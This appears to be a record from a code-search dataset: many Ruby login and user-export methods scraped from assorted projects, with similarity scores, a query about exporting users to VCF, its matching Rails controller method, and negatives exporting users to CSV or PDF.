crypted\n flash[:password] = @user.password\n redirect_to(:action => :login_instructions, :id => @user.id)\n else\n redirect_to(index_url_with_page_num)\n end\n end", "def print_login_message(**params)\n result = case params[:result]\n when :success then 'Successfully logged in as '\n when :error then 'There was an error trying to login as '\n end\n print_time_stamp\n puts result.colorize(:red) + params[:username]\n end", "def login_page\n prompt.select(\"Login or Sign up\") do |menu|\n menu.choice \"Login\", -> {login_helper}\n menu.choice \"Sign up\", -> {sign_up_helper}\n menu.choice \"Exit\", -> {exit_helper}\n end\n end", "def display_login \n puts \"-\"*60\n puts \" Bienvenido a Login\"\n puts \"-\"*60\n login_info = []\n puts \"Ingresa tu nombre\"\n login_info << gets.chomp\n puts \"Ingresa tu email\"\n login_info << gets.chomp\n login_info\n end", "def welcome_user\n header\n puts \"\\n\\nWelcome #{self.active_user.name}, you are now logged in!\\n\"\n self.area_prompt\nend", "def login\n puts \"Login successfull\"\n end", "def display_login_options\n puts \"-\"*60\n puts \"Para reservar tu vuelo necesitas\"\n puts \"1) Registrarte \"\n puts \"2) Login\"\n puts \"Elige una opción:\" \n input = gets.chomp\n puts \"-\"*60\n input\n end", "def login()\n\t\t\t# set's the user object's name and pin to be tested against\n\t\tuntil @user.authenticate(@name, @pin)\n\t\t\t\t\t# gets the user's name\n\t\t\t\t@name = self.prompt(\n\t\t\t\t\t\"Please Enter Your Name\\n\", \n\t\t\t\t\t\"Error, #{@name} is nothing. At least guess a name. Geez.\\n\\n\"\n\t\t\t\t)\n\t\t\t\t\t# gets the user's pin and converts to an int\n\t\t\t\t@pin = self.prompt(\n\t\t\t\t\t\"Please Enter Your Pin\\n\", \n\t\t\t\t\t\"Error, no pin entered\\n\\n\"\n\t\t\t\t).to_i\n\n\t\t\t\t\t# opens my little surprise gif if the user and pin are not authenticated\n\t\t\tif !@user.authenticate(@name, @pin)\n\t\t\t\tputs `open http://replygif.net/i/981.gif 2> /dev/null`\n\t\t\t\tputs `google-chrome http://replygif.net/i/981.gif 2> /dev/null`\n\t\t\tend\n\t\tend\n\t\t@user_available_funds = @user.balance\n\t\tself.menu\n\tend", "def login\n # show LOGIN form\n\n end", "def gen_html_login_page(message: '')\n gen_challenge\n @cgi.header('type' => 'text/html')\n @cgi.out do\n @cgi.html do\n @cgi.head { @cgi.title { 'login' } + html_nocache + html_script } +\n @cgi.body { html_login_form(message: message) + \"\\n\" }\n end\n end\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login; end", "def initial_login\n clear\n ascii_art\n puts '》 Welcome to the Spotify Recommendations App! 《'.colorize(:light_green)\n puts\n selection = @prompt.select(\"Are you a new or returning user? \\n\", %w[New Returning])\n new_user if selection == 'New'\n returning_user if selection == 'Returning'\n end", "def loginpage\n end", "def login_helper\n username = prompt.ask(\"Enter Username\")\n password = prompt.ask(\"Enter Password\")\n if User.find_by(name: username, password: password)\n self.user = User.find_by(name: username, password: password)\n # no music yet\n puts \"Let's Get Cookin, #{self.user.name.upcase}!!!\"\n sleep(1.5)\n main_menu\n else\n puts \"Incorrect Username or Password\"\n sleep(1.5)\n login_page\n end\n end", "def login \n\t\tuser_data = @view.display_login\n\t\t$users.each do |user|\n\t\t\tif user_data[0] == user.mail && user_data[1] == user.password\n\t\t\t\t@current_user = user\n\t\t\t\toption = @view.second_view(user, user.actions)\n\t\t\t\tlist(option)\n\t\t\telse \n\t\t\t\tputs \"User not register\\n\"\n\t\t\t\tputs \"\"\t\n\t\t\t\toption = @view.initial_view\n\t\t\t\tlist(option)\n\t\t\tend\n\t\tend\t\n\tend", "def welcome\n system 'clear'\n puts header.call \"Welcome to Ruby QuickNews\"\n puts \"Please login or create a new username\"\n login_menu\n end", "def login_menu_display\n puts \"Welcome to Ticket Search app!\"\n login_choice = @prompt.select(\"What would you like to do?\", [\"Create Account\", \"Login\", \"Exit\"])\n case login_choice\n when \"Create Account\"\n user_create\n system \"clear\"\n when \"Login\"\n account_login\n system \"clear\"\n when \"Exit\"\n exit\n end\n end", "def login \n\t\tsystem(\"clear\")\n\t\tputs \"Please enter your unique username or 'cancel' if you are a new user\"\n\t\tusername = gets.chomp.downcase\n\t\tif File.exist?(\"models/userDetails/#{username}.txt\") == true\n\t\t\tputs \"Success! Username #{username} exists!\"\n\t\t\t@username = username\n\t\t\tsleep(2)\n\t\telsif username == 'cancel'\n\t\t\tlogin_menu\n\t\telse\n\t\t\tputs \"Unfortunately that username does not exist.\"\n\t\t\tsleep(2)\n\t\t\tlogin\n\t\tend\n\t\tload_data\n\t\tsystem(\"clear\")\n\t\tputs \"Welcome back #{@first_name}!\"\n\t\tputs \"Please enter your password.\"\n\t\tpassword = gets.chomp\n\t\tif password == @password\n\t\t\tputs \"Great success! Password validated!\"\n\t\t\tsleep(2)\n\t\t\tpassword_check = true\n\t\telse\n\t\t\tputs \"Unfortunately, the password didn't match the one on file. Please try again. \"\n\t\t\tsleep(2)\n\t\t\tlogin\n\t\tend\n\t\tmenu\n end", "def enter_login\n @logger.info(\"enter login: %s\" % @username) if @logger\n enter_command(@username)\n end", "def show\n\t\tif !isLogin\n\t\t\tredirect_to controller: 'login', action: 'login'\n\t\t\treturn\n\t\tend\n\n\tend", "def show\n\t\tif !isLogin\n\t\t\tredirect_to controller: 'login', action: 'login'\n\t\t\treturn\n\t\tend\n\n\tend", "def login\n @table_title = '使用者登入'\n @title = ['main1'=>'登入', 'LOGIN'=>'Users','sub1'=>'首頁' , 'sub2'=>'登入']\n @user = User.new\n end", "def login\n\n end", "def login\n\n end", "def login()\n error = \"\"\n loop do\n headline(\"Welcome\")\n puts error.colorize(:red)\n\n username = @prompt.ask(\"Username: \") do |q|\n # error handling requiring input\n q.required true\n q.messages[:required?] = \"Username is required.\"\n end\n\n password = @prompt.mask(\"Password: \") do |q|\n # error handling requiring input\n q.required true\n q.messages[:required?] = \"Password is required.\"\n end\n \n # Error handling to acess app\n if @db.validate_login(username.downcase, password)\n main_menu()\n else\n error = \"Wrong username or password.\"\n end\n end\n end", "def login_as\n @page_title = _('Login_as')\n @page_icon = 'key.png'\n\n\n @users = User.select(\"*, #{SqlExport.nice_user_sql}\").where(hidden: 0).order(\"nice_user ASC\")\n\n end", "def login\n render :layout => 'login_user'\n end", "def login\n\tend", "def login\n\t\t@ERRSTREAM.print 'Email address:'\n\t\temail = @INSTREAM.gets.chomp\n\t\t@ERRSTREAM.print 'Password:'\n\t\tbegin\n\t\t\t%x{stty -echo}\n\t\t\tpass = @INSTREAM.gets.chomp\n\t\t\t@OUTSTREAM.puts\n\t\tensure\n\t\t\t%x{stty echo}\n\t\tend\n\t\tdologin(email,pass)\n\tend", "def login\n @current_user = nil\n system 'clear'\n puts \"--------LOGIN--------\"\n username = @prompt.ask(\"Username: \", required: true)\n if User.all.map(&:name).include?(username)\n @current_user = User.all.find{|user_instance| user_instance.name == username}\n if password\n main_menu\n end\n else\n if @prompt.yes?(\"There is no user by this name. Would you like to create an account?\")\n create_account\n end\n end\n end", "def login(user,pass)\n enter_text(user_field, user)\n enter_text(pass_field, pass)\n sleep 1\n # wait_for_login_done\n end", "def login\n validate_arguments!\n\n Turbot::Auth.login\n display \"Authentication successful.\"\n end", "def sign_in\n clear_terminal\n puts \"||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\"\n sleep 0.3\n puts \" () ||| |||| || || ||| |||| |||| |||| ||||||\" \n sleep 0.3\n puts \" /||| ||||||| |||| |||| |||| ||||||| |||| |||| | || ||||||\"\n sleep 0.3\n puts \" ||| ||| |||| |||| |||| ||| |||| |||| || | ||||||\"\n sleep 0.3\n puts \" ||| ||||||| |||| |||| |||| ||||||| |||| |||| ||| ||||||\"\n sleep 0.3\n puts \" / | ||||||| |||| |||| |||| ||||||| |||| |||| |||| ||||||\"\n sleep 0.3\n puts \" | | |||||||| ||||| |||| |||||||| ||||| ||||| ||||||\"\n sleep 0.3\n puts \" 0 ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\"\n sleep 0.3\n puts \"|||||||||||||||||||||||||||||by Fujita - Calderon|||||||||||||||||||||||||||\"\n puts \"\\n\"\n puts \" Hello, welcome to FUTFUN the home of the 10.000 soccer stats!\"\n puts \"\\n\"\n puts \" Please enter your USERNAME or type to create a new one\"\n username = get_user_input\n @user = User.find_or_create_by(name: username)\n end", "def run\n @user = \"\"\n welcome\n login_or_signup\n say_hi_to_user\n initial_menu \n end", "def admin_login_method\n prompt = TTY::Prompt.new\n password = \"offandon\"\n\tpasswordfailcount = 0\n\t# Password login loop\n while passwordfailcount < 3\n puts \"\"\n if prompt.mask(\"Welcome to the application. Please enter your password:\") != password\n passwordfailcount += 1\n puts \"Incorrect. Please try again. Attempt #{passwordfailcount} of 3.\"\n else\n main\n end\n end\nend", "def welcome\n system 'clear'\n puts \"--------LOGIN--------\"\n menu = [\"Login\", \"Create new user\"]\n choice = @prompt.select(\"\", menu)\n case choice\n when \"Login\"\n login\n when \"Create new user\"\n create_account\n end\n end", "def to_show_login\n\t\t# Password strategy\t\t\n\t\tkey = OpenSSL::PKey::RSA.new(1024)\n\t\t@public_modulus = key.public_key.n.to_s(16)\n\t\t@public_exponent = key.public_key.e.to_s(16)\n\t\tsession[:key] = key.to_pem\n\tend", "def log_in\n visit \"/gp/login.do\"\n fill_in \"id\", :with => @user\n fill_in \"clave\", :with => @password\n first(\".bLogin a\").click\n end", "def ask_password\n @display.echo_off\n print 'Enter password (6 - 20 characters): ', false, false\n @state = :new_password\n end", "def login_page\n end", "def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend", "def login_with_proper_credentials\r\n\r\n set_text(USERNAME_TEXTFIELD_NAME, VALID_USERNAME)\r\n set_text(PASSWORD_TEXTFIELD_NAME, VALID_PASSWORD)\r\n\r\n click_on_button(SUBMIT_BUTTON_ID)\r\n\r\n end", "def login(user, pwd)\n touch(\"* id:'#{edit_email}'\")\n enter_text(\"* id:'#{edit_email}'\", user)\n touch(\"* id:'#{edit_password}'\")\n enter_text(\"* id:'#{edit_password}'\", pwd)\n end", "def login(user, nick, real_name, flags=8)\n sendmsg \"USER #{user} #{flags} * :#{real_name}\"\n sendmsg \"NICK #{nick}\"\n end", "def login\n puts 'Vui long dang nhap'\n puts 'Username: '\n $user_name = gets.chomp.to_s\n puts 'Password'\n $pass_word = gets.chomp.to_s\nend", "def login(username, password)\n if password == 'test'\n print username, 'ALLOWED'\n else\n print username, 'DENIED'\n end\nend", "def show\n if session[:student_current_user].nil?\n @login= false\n else\n @login=true\n end\n end", "def landing\n render text: '<h3>You logged in!</h3>', layout: true\n end", "def ascii_login_and_enable(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request password\n session.getuser = authen_start.body.user\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n pass_fail = authenticate(username, password, session.authen_start)\n\n # set reply based on pass_fail\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII login/enable: #{session.reply.body.status}\"\n @tacacs_daemon.log(:erro,['msg_type=Authentication', \"message=#{new_body.server_msg}\", \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n end\n end\n\n return(nil)\n end", "def show\n if @pw_data.empty? \n pa %[There aren't any passwords stored at #{@pw_file}, yet], :red\n else\n puts Paint[\"Entries\", :underline] + %[ in ] + @pw_file\n puts @pw_data.keys.sort.map{ |key| %[- #{key}\\n] }.join\n end\n return true\n end", "def login_clark\n top_login_button.click\n login_page.text\n \n user_email.send_keys($test_data['prod_email'])\n user_password.send_keys($test_data['prod_password'])\n\n login_button.click\n sleep 3\n profile_displayed\n end", "def feature_plain_sign_in(login, password, options = {})\n visit '/'\n fill_in 'educator_login_text', with: login\n fill_in 'educator_password', with: password\n if options[:login_code]\n fill_in 'educator_login_code', with: options[:login_code]\n end\n click_button 'Sign in'\n end", "def login\n render(:login, layout:false) and return \n end", "def login\n @title_page = 'Log in'\n erb :login, layout: :session\nend", "def more_login\n page(FooterTabBarPage).select_tab(\"Profile\")\n page(LoginPage).await\n page(LoginPage).login(\"valid\")\n end", "def userlogin_prompt\n header\n puts \"\\n\\nPlease enter your username to login.\\n\"\n self.userlogin_input = STDIN.gets.strip\n self.userlogin_valid?\nend", "def login_status\n if !logged_in?\n return link_to 'Login', authenticated_system_login_path\n else\n s = \"#{current_user.login}\"\n if self.current_user.shibboleth_id.blank?\n s << \" (#{link_to 'Associate to UVa account', shibboleth_url(:protocol => 'https')}) | \"\n else\n s << ' | '\n end\n s << \"#{link_to('Logout', authenticated_system_logout_path)} | \"\n s << \"#{link_to 'Admin', authenticated_system_root_path} | \" if authorized? hash_for_authenticated_system_root_path\n s\n end\n end", "def login\n render('login')\n end", "def login\n $log.debug \"Logging in\" \n `./nplogin #{@@username} #{@@password}`\n end", "def show\n if (@user = User.find_by_login(params[:login])).nil?\n notice \"Käyttäjää tunnuksella '#{params[:login]}' ei löytynyt.\", '/', 'red' and return\n end\n #@wall = OpinionStatus.find_by_opinion_id_and_user_id(@user.wall_opinion_id, @user.id)\n #@wall = Opinion.find_by_id(@user.wall_opinion_id) if @wall.nil?\n @similarity, @max_similarity, @agree, @disagree = @user.similarity(session[:user]) unless session[:user].nil?\n @title = @user.name_or_login\n end", "def login\n # check if file credential exists\n if File.file?(@@credentials_file)\n puts 'Credentials file found!'.bold\n unless yes?(\"Overwrite #{@@credentials_file}? |no|\".bold.yellow)\n puts \"Aborted.\".red.bold\n exit\n end\n end\n\n # Ask for username and password, mask the password and make it\n # green if it's the correct password, red if the access was denied.\n # Aborts if the password is empty.\n puts 'Write your username and password for ' + 'RubyGems.org'.yellow.bold\n username = ask('Username:'.yellow.bold)\n password = ask('Password:'.yellow.bold, echo: false)\n (puts \"Aborted.\".red.bold; exit) if password.empty?\n\n # fakes a masked password as long as the username,\n # for style purposes only.\n masked_password = '*' * username.length\n print masked_password unless options[:show_password]\n\n begin\n Tmg.write_credentials(username, password)\n rescue RuntimeError\n puts \"\\b\" * masked_password.length + masked_password.red.bold\n puts 'Access Denied.'.red.bold\n exit\n else\n puts \"\\b\" * masked_password.length + masked_password.green.bold\n puts \"Credentials written to #{@@credentials_file}\".green.bold\n end\n end", "def basic_authentication_ie(title, username, password, options = {})\r\n default_options = {:textctrl_username => \"Edit2\",\r\n :textctrl_password => \"Edit3\",\r\n :button_ok => 'Button1'\r\n }\r\n\r\n options = default_options.merge(options)\r\n\r\n title ||= \"\" \r\n if title =~ /^Connect\\sto/\r\n full_title = title\r\n else\r\n full_title = \"Connect to #{title}\"\r\n end\r\n require 'rformspec'\r\n login_win = RFormSpec::Window.new(full_title)\r\n login_win.send_control_text(options[:textctrl_username], username)\r\n login_win.send_control_text(options[:textctrl_password], password)\r\n login_win.click_button(\"OK\")\r\n end", "def login(username:, password:)\n if password == 'test'\n print username, 'ALLOWED'\n else\n print username, 'DENIED'\n end\nend", "def login\n prompt = prompt_instance\n username, password = get_user_details\n user_data = find_username(username)\n if user_data\n if user_data[1] == password\n $current_user[:username] = user_data[0]\n $current_user[:password] = user_data[1]\n $current_user[:balance] = user_data[2]\n $current_user[:streak] = user_data[3]\n puts \"Hello #{$current_user[:username]}! Your current balance is: $#{$current_user[:balance]}\"\n prompt.select(\"Succesful Login!\", show_help: :never) do |menu|\n menu.choice \"CONTINUE\", -> {main_menu}\n end\n else\n prompt.select(\"Incorrect Username or Password. Please try again\") do |menu|\n menu.choice \"TRY AGAIN\", -> {login}\n menu.choice \"BACK TO MENU\".colorize(:red), -> {start_menu}\n end\n end\n else \n prompt.select(\"Incorrect Username or Password. Please try again\") do |menu|\n menu.choice \"TRY AGAIN\", -> {login}\n menu.choice \"BACK TO MENU\".colorize(:red), -> {start_menu}\n end\n end\nend", "def enter_password\n @logger.info(\"enter password\") if @logger\n enter_command(@password)\n @logged_in = true\n end", "def show\n @user = current_user\n if @user\n past = pluralize @user.count, \"time\"\n flash.now[:login] = \"Welcome #{@user.username}. You have logged in #{past}.\"\n end\n end", "def welcome\n self.user_id = nil\n prompt.select(\"\\nWelcome to the Forum! Choose an action - \\n (Press Esc at any time to return to this menu!\") do |menu|\n menu.choice \"Login\", -> {login}\n menu.choice \"Create Account\", -> {account_creation}\n menu.choice \"Browse as a Guest\", -> {\n user_id = nil\n show_threads\n }\n menu.choice \"Exit\", -> {exit}\n end\n \n end", "def login(browser = getBrowser(@displays, @headless))\n if @displayProgress\n puts \"\\x1B[90mAttempting to establish connection with: #{@login_uri}\\x1B[0m\"\n end\n browser.goto(@login_uri)\n browser.text_field(:name => 'username').set @username\n browser.text_field(:name => 'password').set @pin\n browser.checkbox(:name => 'remember').set\n browser.input(:type => 'submit', :value => 'Continue').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed first page\\x1B[0m\"\n end\n browser.select_list(:name => 'firstAnswer').option(:value => getCharAt(browser.label(:for => 'lettera').text.gsub(/[^0-9]/, ''), @security)).select\n browser.select_list(:name => 'secondAnswer').option(:value => getCharAt(browser.label(:for => 'letterb').text.gsub(/[^0-9]/, ''), @security)).select\n browser.input(:type => 'submit', :value => 'Log in').click\n if browser.link(:id => 'confirmpd').exists?\n browser.link(:id => 'confirmpd').click\n if @displayProgress\n puts \"\\x1B[90mSuccessfully bypassed occasional confirmation page\\x1B[0m\\n\"\n end\n end\n if @displayProgress\n puts \"\\x1B[90mSuccessfully logged in to BarclayCard\\x1B[0m\\n\"\n end\n browser\n end", "def log_in\n end", "def start\n puts \"Welcome to the Todo-Listz!\"\n puts \"Please login with your username:\"\n user_name = gets.chomp.downcase\n end", "def generate_and_print_password\n password = Simp::Cli::Utils.generate_password\n logger.say ('~'*80).green + \"\\n\"\n logger.say 'NOTE: '.green.bold + \" The generated password is: \\n\\n\"\n logger.say ' ' + password.yellow.bold + \"\\n\\n\"\n logger.say ' >>>> Please remember this password! <<<<'.bold\n logger.say ' It will ' + '**NOT**'.bold + ' be written to the log or hieradata.'\n logger.say ('~'*80).green + \"\\n\"\n logger.say '*** Press enter to continue ***'.cyan.bold.blink\n ask ''\n password\n end", "def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end", "def do_login page\n page = page.form_with(action: \"/login\") do |f|\n f.userid = @@username\n f.password = @@password\n end.click_button \n end", "def welcome_user\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('exit')} at any time to quit the app.\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n end", "def login_user\n puts \"Please enter your name\"\n name = CLI.gets_with_quit\n\n if self.user_exists(name)\n user = self.find_user(name)\n if check_password(user)\n CLI.active_user = user\n # fall through to CLI.start\n else\n CLI.start\n end\n\n else\n puts \"Sorry, User not found!\"\n if CLI.yes_no(\"Sign Up\")\n self.signup_user(name)\n else\n CLI.start\n end\n end\n end", "def get_input\n if $logged_in\n print \"#{$logged_in.username} > \"\n gets.chomp\n else\n print \"User > \"\n gets.chomp\n end\nend", "def login_menu\n\t\tlogin_display\n option = gets.chomp.downcase\n if option == \"1\" || option == \"1.\" || option == \"new user\"\n get_user_info\n elsif option == \"2\" || option == \"2.\" || option == \"returning user\"\n login\n elsif option == \"3\" || option == \"3.\" || option == \"exit\"\n goodbye\n else\n\t\t\tputs \"Check your input and make sure you are selecting a number. \"\n\t\t\tsleep(2)\n login_menu\n end\n end", "def login\n # render :login\n end", "def login\n session[:user_id] = nil\n if request.post?\n user = User.authenticate params[:name], params[:password]\n if user\n session[:user_id] = user.id\n session[:display_language] = user.display_language\n redirect_to :controller => 'lessons'\n else\n flash[:notice] = \"Invalid user/password combination\"\n end\n end\n @page_title = text(:log_in) + ' - ShareQuiz'\n end", "def login_helper(style = '')\n if current_user.is_a? GuestUser\n _span(link_to('Register', new_user_registration_path, class: style)) +\n _span(link_to('Login', new_user_session_path, class: style))\n else\n _span(link_to('Logout', destroy_user_session_path, method: :delete, class: style))\n end\n end", "def new #login page\n end", "def login_account(username, password)\n login_form.email_txt.set username\n login_form.password_txt.set password\n login_form.login_btn.click\n end" ]
[ "0.7929269", "0.74776876", "0.70084953", "0.6800409", "0.6776907", "0.66853034", "0.66683584", "0.6615448", "0.6559028", "0.6554196", "0.6551497", "0.65334314", "0.65079224", "0.64685035", "0.6466299", "0.6453437", "0.6450038", "0.6449188", "0.636479", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6359046", "0.6349725", "0.63481206", "0.63300776", "0.6326441", "0.63132113", "0.6291718", "0.6290911", "0.62776726", "0.6265706", "0.6254294", "0.6254294", "0.62458605", "0.62408924", "0.62408924", "0.623307", "0.62276644", "0.6219795", "0.62041795", "0.62019587", "0.6182988", "0.6179792", "0.6160734", "0.615476", "0.61488426", "0.6147922", "0.6137468", "0.6122969", "0.61166245", "0.61124986", "0.6099664", "0.6086492", "0.60832614", "0.6073452", "0.6072528", "0.60673857", "0.6065352", "0.60575897", "0.60546774", "0.6038909", "0.60173154", "0.6004012", "0.60020185", "0.60001755", "0.59949255", "0.5985981", "0.5979524", "0.5974654", "0.5948686", "0.5935948", "0.59318155", "0.59313256", "0.5921722", "0.592165", "0.59128255", "0.5905437", "0.5901752", "0.58981335", "0.5888353", "0.58878005", "0.5886233", "0.5877736", "0.5872381", "0.5872381", "0.5863209", "0.58589745", "0.5856107", "0.5854505", "0.5851622", "0.58472604", "0.5844449", "0.58436424", "0.5832099" ]
0.77138
1
exports the selected users to VCF format
def export respond_to do |format| format.vcf do @users = params[:selected] ? load_selected_objects(User) : [] render(:text => @users.collect{|u| u.to_vcf}.join("\n")) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hv_export_users(oHarvest, iDbg = 0)\n\n\tusers = oHarvest.users.all\n\n summary = Array.new()\n\n\tusers.each do |u|\n if (u.is_active == true && u.is_admin == false)\n p_user = Array.new(5)\n p_user[0] = u.first_name\n p_user[1] = u.id\n p_user[2] = u.email\n p_user[3] = u.department\n p_user[4] = u.last_name\n \n summary.push(p_user)\n end\n end\n\n summary = summary.sort { |x, y|\n x[0] <=> y[0]\n }\n\n file = get_config(\"COMMON\",\t\"CSVPath\") + get_config(\"Harvest\", \"MUsers\")\n flush_to_csv(summary, file, true)\n\nend", "def export\n fn = current_user.name + \"'s blood glucose readings.csv\"\n respond_to do |format|\n format.csv { send_data(BgMeasurement.to_csv(current_user), :filename => fn) }\n end\n end", "def export\n send_data current_user.records.select(:json).order('updated_at desc').collect(&:json).to_json, filename: 'records.json'\n end", "def export_collaborators\n repository_model.team_members.each do |collaborator|\n serialize(\"user\", collaborator[\"user\"])\n end\n end", "def export_users_fields\n case params[:type]\n when 'SALE'\n User.seller\n when 'CANDIDATE'\n User.hh\n end\n end", "def export_to_csv(users)\n CSV.open(\"./user.csv\", \"wb\") do |csv|\n csv << Universe.attribute_names\n users.each do |user|\n csv << user.attributes.values\n end\n end\n end", "def export_users_step\r\n\r\n\t\tusers_emails_array = params[:users_emails]\r\n\t\t\r\n\t\tif users_emails_array.nil? == false && users_emails_array.length>0\r\n\r\n\t\t\t@export_logic = ExportLogic.new\r\n\r\n\t\t\tcase session[:model_name]\r\n\r\n\t\t\t\twhen \"users\"\r\n \t\t\t\t\tresult = @export_logic.export_users_from_company(session[:companyid], session[:companyname], users_emails_array)\r\n \t\t\t\twhen \"time_offs\"\r\n \t\t\t\t\tresult = @export_logic.export_timeoffs_from_company(session[:companyid], session[:companyname], users_emails_array)\r\n \t\t\t\telse\r\n \t\t\t\t\t#the button is placed on the wrong view\r\n \t\t\tend\r\n\t \t\t#Make the file available for download\r\n\t \t\tsend_file result, :type => \"application/vnd.ms-excel\", :x_sendfile=>true\r\n\t\t\t#File.delete(result)\r\n\r\n\t\telse\r\n\t\t\tredirect_to \"/companies/\" + session[:companyname].downcase + \"/users\"\r\n\t\tend\r\n\t\t\r\n\tend", "def write_csv\n\t\tCSV.open(\"csv_exports/edits_per_user_#{@dataset}.csv\", 'w') do |csv|\n\t\t\tcsv << ['user', 'edits']\n\t\t\t@users.each do |user, edits|\n\t\t\t\tcsv << [user,edits]\n\t\t\tend\n\t\tend\n\tend", "def export_users(file)\n users = User.all\n\n csv_string = FasterCSV.generate do |csv|\n users.each do |user|\n csv << [user.email, user.first_name, user.last_name]\n end\n end\n\n send_data csv_string,\n :type => 'text/csv; charset=iso-8859-1; header=present',\n :disposition => \"attachment; filename=users.csv\"\n File.open(file,\"w\").write\n end", "def index\n\t\t@users= User.all\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.csv { send_data Importer.generate(:csv, @users), filename: \"users-#{Date.today}.csv\" }\n\t\tend\n\n\tend", "def admin_index\n authorize User\n\n respond_to do |format|\n format.html do\n @clicked_through = params[:click_through].present?\n @filter_admin = false\n\n @users = if current_user.can_super_admin?\n User.includes(:department, :org, :perms, :roles, :identifiers).page(1)\n else\n current_user.org.users\n .includes(:department, :org, :perms, :roles, :identifiers)\n .page(1)\n end\n end\n\n format.csv do\n send_data User.to_csv(current_user.org.users.order(:surname)),\n filename: \"users-accounts-#{Date.today}.csv\"\n end\n end\n end", "def export(params={})\n columns = delimited_string_to_array(Settings.export.member_fields)\n columns = ['name'] if columns.empty? # to prevent any bad behavior with empty criteria\n send_data Member.export(columns), :filename => \"members.csv\"\n end", "def show\n @user = User.find(params[:id])\n return if access_denied_for?(@user)\n\n respond_to do |format|\n format.html { render :action => \"show\" } # show.rhtml\n format.xml { render :xml => @user.to_xml }\n format.vcf { send_data @user.to_vcard, :filename => \"#{@user.name}.vcf\" }\n end\n end", "def showUserList\n @titre = \"Liste des utilisateurs\"\n @users = User.all\n generatePDF(@users)\n end", "def download\r\n\r\n @restricted_fields = []\r\n @no_menubar\t= true\r\n @no_links\t= true\r\n @no_filterbar\t= true\r\n @no_row_links\t= true\r\n pagin_opts\t\t = {:include => [:customers,:user_accesses,:profiles,:dev_feedbacks,:file_imports]}\r\n pagin_opts[:order]\t = @default_order if @default_order\r\n pagin_opts[:order]\t||= \"users.#{params[:sort_by]}\" if !params[:sort_by].blank?\r\n pagin_opts[:conditions] ||= @default_filter\r\n pagin_opts[:joins]\t||= @joins_fields || []\r\n\r\n # pagin_opts[:select]\t||= \"`users`.`login`,`users`.`first_name`,`users`.`last_name`,`users`.`email`,`users`.`telephone`,`users`.`language`,`users`.`active`,`users`.`salt`\" unless params[:format] == 'html'\r\n\r\n if params[:id] && params[:id].to_i > 0\r\n @user = User.find_by_id(params[:id], pagin_opts)\r\n if !@user\r\n flash[:warning] = _(\"Error: %{obj} not found!\") % {:obj => _(%q[User])}\r\n begin\r\n redirect_to :back\r\n rescue\r\n redirect_to :action => :list\r\n end\r\n return\r\n end\r\n f_name = @user.disp_name\r\n respond_to do |format|\r\n format.html {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/users/show.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"#{f_name}.html\", :disposition => 'attachment', :type => 'text/html;charset=utf-8') }\r\n format.doc {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/users/show.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"#{f_name}.doc\", :disposition => 'attachment', :type => 'application/msword;charset=utf-8') }\r\n format.pdf {\r\n @pdf = true\r\n @debug_pdf = params[:debug_pdf]\r\n params[:format] = 'html'\r\n html = render_to_string(:template => '/users/show.html.erb', :format => :html, :id => @user.id, :layout => 'pdf')\r\n html.gsub!(/\\/images\\//, Rails.root.join('public', 'images/')) if !params[:debug_pdf]\r\n render(:text => html, :layout => 'pdf') and return if params[:debug_pdf]\r\n kit = PDFKit.new(html, :encoding => 'UTF-8')\r\n kit.stylesheets << Rails.root.join('public', 'stylesheets', 'pdf.css')\r\n pdf = kit.to_pdf\r\n send_data(pdf, :filename => \"#{@user.disp_name}.pdf\") unless params[:debug_pdf] || pdf.blank?\r\n\r\n # send_data(render_to_string(:format => :html, :layout => false, :action => :show, :id => @user.id), :filename => \"#{f_name}.pdf\", :disposition => 'attachment', :type => 'application/pdf;charset=utf-8')\r\n\r\n return\r\n }\r\n format.xml {\r\n 